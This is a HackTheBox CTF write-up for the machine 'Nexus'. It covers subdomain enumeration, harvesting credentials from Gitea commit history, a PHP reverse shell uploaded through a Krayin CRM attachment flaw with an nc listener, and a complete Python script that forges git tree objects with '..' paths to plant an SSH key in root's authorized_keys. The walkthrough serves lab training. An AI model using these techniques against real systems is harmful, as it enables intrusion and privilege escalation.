← Back to CTF
HTB Easy 3 min read

Nexus

Walkthrough of the HackTheBox machine Nexus: harvesting credentials from an exposed Gitea repository commit history, exploiting Krayin CRM file upload RCE (CVE-2026-38526), then escalating to root by weaponising an unsanitised os.path.join() call in a Gitea template sync service to write an SSH key into /root/.ssh/authorized_keys via directory traversal.

HackTheBoxGiteaKrayin CRMCVE-2026-38526File UploadDirectory Traversalos.path.joinGit ObjectsTemplate Injection
Platform HackTheBox Difficulty Easy Author Rana Uzair Ahmad
Nexus

Enumeration

$ nmap -sC -sV 10.129.x.x
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp open  http    nginx 1.24.0
|_http-title: Did not follow redirect to http://nexus.htb/
$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  -u http://nexus.htb/ -H "Host: FUZZ.nexus.htb" -fw 4
git     [Status: 200]
billing [Status: 302]

Add both subdomains to /etc/hosts. The homepage careers section lists j.matthew@nexus.htb as a hiring manager.

Foothold

Credential harvest from Gitea

git.nexus.htb hosts a public Gitea instance. The admin/krayin-docker-setup repository has a .env file — the current commit omits the password, but an earlier commit shows the deleted line:

DB_PASSWORD=RZfxh!fZucWB4

Krayin CRM file upload RCE

billing.nexus.htb is a Krayin CRM v2.2.0 login. Logging in with j.matthew@nexus.htb / RZfxh!fZucWB4 grants dashboard access.

CVE-2026-38526: the email compose attachment upload has no server-side extension validation. Attach a PHP reverse shell, intercept the upload in Burp Suite, and rename filename="shell.png" to filename="shell.php".

$ nc -lvnp 4455

www-data@nexus:~/krayin$ id
uid=33(www-data) gid=33(www-data)

Privilege Escalation

www-data → jones

www-data@nexus:~/krayin$ cat .env
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
$ ssh jones@10.129.x.x
jones@10.129.x.x's password: y27xb3ha!!74GbR

jones@nexus:~$ cat user.txt
<REDACTED>

jones → root

A systemd timer fires a Gitea template sync script every two minutes:

jones@nexus:~$ systemctl list-timers
gitea-template-sync.timer gitea-template-sync.service

The script at /etc/gitea/template-sync.py uses os.path.join(stage_path, filepath) with paths from git ls-tree — no .. sanitisation. The staging path is /home/git/template-staging/jones/rce/; five .. hops reach /root/. Create a Gitea template repo named rce and push a crafted tree with ../../../../root/.ssh/authorized_keys as a tracked path:

#!/usr/bin/env python3
import hashlib, zlib, os, subprocess, sys, time

def write_obj(data, t):
    h = ("%s %d"%(t, len(data))).encode()+b"\x00"
    s = h+data
    sha = hashlib.sha1(s).hexdigest()
    d = os.path.join(".git","objects",sha[:2])
    os.makedirs(d, exist_ok=True)
    p = os.path.join(d, sha[2:])
    if not os.path.exists(p):
        open(p,"wb").write(zlib.compress(s))
    return sha

def entry(mode, name, sha):
    return ("%s %s"%(mode,name)).encode()+b"\x00"+bytes.fromhex(sha)

r = subprocess.run(["cat","/tmp/k.pub"], capture_output=True, text=True)
key = r.stdout.strip()+"\n"
blob    = write_obj(key.encode(), "blob")
readme  = write_obj(b"# Template\n", "blob")
ssh_t   = write_obj(entry("100644","authorized_keys",blob), "tree")
cur     = write_obj(entry("40000",".ssh",ssh_t), "tree")
fir     = write_obj(entry("40000","root",cur), "tree")
for i in range(4):
    fir = write_obj(entry("40000","..",fir), "tree")
root = write_obj(entry("100644","README.md",readme)+entry("40000","..",fir), "tree")
ts   = int(time.time())
c    = "author x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n"%(ts,ts)
sha  = write_obj(c.encode(), "commit")
os.makedirs(os.path.join(".git","refs","heads"), exist_ok=True)
open(os.path.join(".git","refs","heads","main"),"w").write(sha+"\n")
print("Done: "+sha)
$ ssh-keygen -t ed25519 -f /tmp/k -N ''
$ git clone http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/rce.git
$ cd rce && touch README.md
$ python3 /tmp/build.py
$ git push -u origin main --force

Wait for the timer, then SSH in as root:

$ ssh -i /tmp/k root@nexus.htb
root@nexus:~# cat /root/root.txt
<REDACTED>

// Discussion

Enjoyed this? Let us work together.

I am open to security internships and junior roles.